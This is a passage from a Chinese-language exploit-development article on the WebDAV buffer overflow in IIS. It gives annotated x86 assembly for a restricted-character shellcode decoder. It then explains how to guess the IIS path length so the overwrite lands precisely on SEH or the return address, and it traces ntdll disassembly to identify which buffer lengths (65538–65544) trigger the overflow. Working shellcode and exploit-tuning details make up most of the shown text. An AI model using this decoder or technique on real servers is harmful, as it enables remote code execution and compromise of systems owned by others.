📄 webdav漏洞简单分析及通用exploit设计.html
字号:
<br />
unlockdataw:<br />
/*取得我们的decoder的起始地址*/<br />
push ebx//53<br />
/*可以通用 push esp */<br />
/*地址保存在esi*/<br />
NOP<br />
pop esi//5e<br />
<br />
/*定位从哪里开始解码*/<br />
loopload: <br />
/*读取两个字节内容,以esi为索引*/<br />
lodsw//66 ad<br />
dec esi//无用代码,为迁就指令范围 4e<br />
inc esi//无用代码,为迁就指令范围 46<br />
dec edi//无用代码,为迁就指令范围 4f<br />
<br />
inc ebx//无用代码,为迁就指令范围 43<br />
/*判断是否已经达到待解码的字符处*/<br />
cmp ax,0x6F97 // SHELLDATA 66 3d 97 6F |<br />
NOP//无用代码,为迁就指令范围 90 |<br />
push ecx//无用代码,为迁就指令范围 51 |<br />
NOP//无用代码,为迁就指令范围 90 |------>这边不能用影响标志位的指令<br />
pop ecx//无用代码,为迁就指令范围 59 |<br />
jnz loopload//75 F0 |<br />
push ebx//无用代码,为迁就指令范围 53<br />
<br />
<br />
/*将待解码字符的起始地址传递至edi,解码后的字符也从此起始地址存放*/<br />
push esi//56<br />
pop edi//5f<br />
dec edx//无用代码,为迁就指令范围 4a <br />
/*保存起始地址,注意后面push pop操作要均衡*/<br />
/*不然toshell中的ret指令就不能返回到解码后的shellcode了*/<br />
push edi//57 <br />
inc ebx//无用代码,为迁就指令范围 43<br />
<br />
/*开始解码*/<br />
looplock: <br />
/*读取两个字节内容,以esi为索引*/<br />
lodsw//66 ad<br />
push eax//无用代码,为迁就指令范围 50 -------<<3>><br />
inc ebx//无用代码,为迁就指令范围 43<br />
/*判断是否已经全部解码完毕*/<br />
cmp ax,NOPCODE// 66 3d 4f 00<br />
NOP<br />
pop ecx//无用代码,为迁就指令范围 59 --------<<3>>还原堆栈操作<br />
jz toshell//74 d5<br />
<br />
dec esi//无用代码,为迁就指令范围 4e ------<<1>><br />
/*解码*/<br />
sub al,DATABASE//2c 64<br />
/*保存至ecx*/<br />
push eax//50<br />
pop ecx//59<br />
inc esi//无用代码,为迁就指令范围 46 -------<<1>>还原esi值<br />
dec edi//无用代码,为迁就指令范围 4f -------<<2>><br />
inc edi//无用代码,为迁就指令范围 47 -------<<2>><br />
NOP //无用代码,为迁就指令范围 90<br />
<br />
inc ebx//无用代码,为迁就指令范围 43<br />
/*读取两个字节,以esi为索引*/<br />
lodsw//66 AD<br />
push eax//无用代码,为迁就指令范围 50 -------<<4>><br />
dec ebx//无用代码,为迁就指令范围 4b<br />
pop eax//无用代码,为迁就指令范围 58 -------<<4>><br />
/*解码*/<br />
sub al,DATABASE//2c 64<br />
<br />
/*--------------组合解码后的内容--------------------*/<br />
dec edx//无用代码,为迁就指令范围 4a<br />
push edi//57 保存edi,因为后面要用到 ----->>[1]<br />
/*将ecx值转移到edi*/<br />
push ecx//51<br />
NOP//无用代码,为迁就指令范围 90<br />
NOP//无用代码,为迁就指令范围 90<br />
pop edi//5f<br />
/* edi*0x10 */<br />
add edi,edi//03 ff<br />
add edi,edi<br />
add edi,edi<br />
add edi,edi<br />
/*将第二位解码的结果(eax) + 第一位(edi*0x10),运算得到最后结果*/<br />
xchg eax,ecx//91<br />
add ecx,edi//03 cf<br />
xchg eax,ecx//91<br />
<br />
/*恢复edi值*/<br />
NOP//无用代码,为迁就指令范围 90<br />
pop edi//5f -------->>[1]<br />
/*将解码后的内容保存,以edi为索引*/<br />
stosb//aa<br />
NOP//无用代码,为迁就指令范围 90<br />
<br />
inc ecx//无用代码,为迁就指令范围 41<br />
jz looplock//74 ca |<br />
NOP//无用代码,为迁就指令范围 90 |<br />
push ecx//无用代码,为迁就指令范围 51 |--->不能用会影响标志位的指令<br />
NOP//90 |<br />
pop ecx//无用代码,为迁就指令范围 59 |<br />
jnz looplock//75 c4<br />
dec esi//无用代码,为迁就指令范围 4e 这代码永远不会执行<br />
/*解码代码结束标记*/<br />
_emit(0x97)<br />
_emit(0x6F)<br />
/**/<br />
_emit(0x0)<br />
_emit(0x0)<br />
_emit(0x0)<br />
_emit(0x0)<br />
NOP<br />
NOP<br />
NOP<br />
NOP<br />
NOP<br />
NOP<br />
NOP<br />
NOP<br />
<br />
}<br />
} <br />
<br />
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=<br />
<br />
<br />
-=-=-=- 第三部分 IIS Path长度的问题 -=-=-=-<br />
<br />
webdav漏洞溢出点本来是固定的,但因为有IIS Path长度不确定这个问题,事实上这就成了溢出点<br />
不确定的漏洞了。<br />
据我的理解,IIS Path长度造成溢出点不确定这种问题 ,我们可以用两种办法来解决:<br />
<br />
(1)采用yuange提出的半连续覆盖方法。不管IIS Path有多长,也不管它精确的溢出点,最多只要<br />
猜测8次,让我们的jmp addr对准要覆盖的地方就可以了。事实上因为我们发送的字符要转换成为UNICODE,<br />
所以最多只需要猜测四次就可以了。 优点:不需知道精确溢出点,只需猜测4次;缺点:可能要付出搞DOWN<br />
3次IIS的代价。<br />
<br />
(2)猜测IIS Path的长度。我们要精确的控制发送的buff的长度,确定在path长度没有猜中的情况下不会<br />
使IIS触发溢出。我们发送的buff结构如下:<br />
($guess_path_len + )$nop_for_对齐_ret + $jmpover + $ret + $shellcode + $nop<br />
我们要保证上述buff在path没猜准的时候不溢出,但一但准确,不仅要使他溢出,而且要刚好让我们的<br />
jmp addr覆盖在SEH或ret。这种情况,IIS path的长度我们只能从大往小猜。因为:<br />
假如path实际长度是20,我们猜是30,咱们发送的buff长度是 65536-30=65506,实际上此时服务<br />
器处理的buff就是65506+20=65526字节了,溢出没发生。当我们从30猜到21的时候,溢出都不会发生,但<br />
到了20的时候,溢出发生了,我们的jmp addr也刚好覆盖在我们指定的位置。<br />
反过来从小往大猜的时候,不管path猜没猜准,都会触发IIS溢出。<br />
<br />
<br />
后来测试的时候发现,并非buff超过65535就一定会触发堆栈溢出,但超过65535会导致短整型数溢出<br />
这是肯定的。我们看看相关代码:<br />
<br />
ntdll!RtlDosPathNameToNtPathName_U+3A:<br />
77f8b036 push dword ptr [ebp+0x8]<br />
77f8b039 lea eax,[ebp-0x30]<br />
77f8b03c push eax<br />
77f8b03d call ntdll!RtlInitUnicodeString (77f83c6d)<br />
77f8b042 cmp word ptr [ebp-0x30],0x8//判断长度是否小于等于8,是的话跳转<br />
77f8b047 jbe ntdll!RtlDosPathNameToNtPathName_U+0x71 (77f8b056)<br />
77f8b049 mov eax,[ebp-0x2c]//ebp-0x2c存放的是buff的地址<br />
77f8b04c cmp word ptr [eax],0x5c//判断buff的第一位是否为'\',是的话跳转<br />
77f8b050 je ntdll!RtlDosPathNameToNtPathName_U+0x56 (77f84049)<br />
77f8b056 and byte ptr [ebp-0x64],0x0<br />
77f8b05a lea eax,[ebp-0x270]<br />
<br />
<br />
因为传递给GetFileAttributesExW的文件名都是"\\?\c:\xx"形式,所以在上述77f8b050中肯定会跳转。<br />
一跳转的话,就不能触发堆栈溢出了,原因?没有继续跟踪,有兴趣的朋友自己去跟踪吧。:)<br />
所以我们要让77f8b047处的代码跳转,即让UNICODE_STRING结构中的Length小于等于8。也就是说buff<br />
长度要介于65536、65544之间。因buff是UNICODE形式,所以能触发堆栈溢出的buff长度就只有如下几个:<br />
65536,65538,55540,65542,65544。后来发现buff长度为65536,即UNICODE_STRING结构中的Length为<br />
0的时候,也不能触发堆栈溢出。所以,buff长度必须是65538、55540、65542、65544之一才会触发堆栈<br />
溢出。<br />
<br />
有了这种长度限制,我们猜测IIS Path的时候,不但可以从大往小猜,而且可以从小往大猜,在我的<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -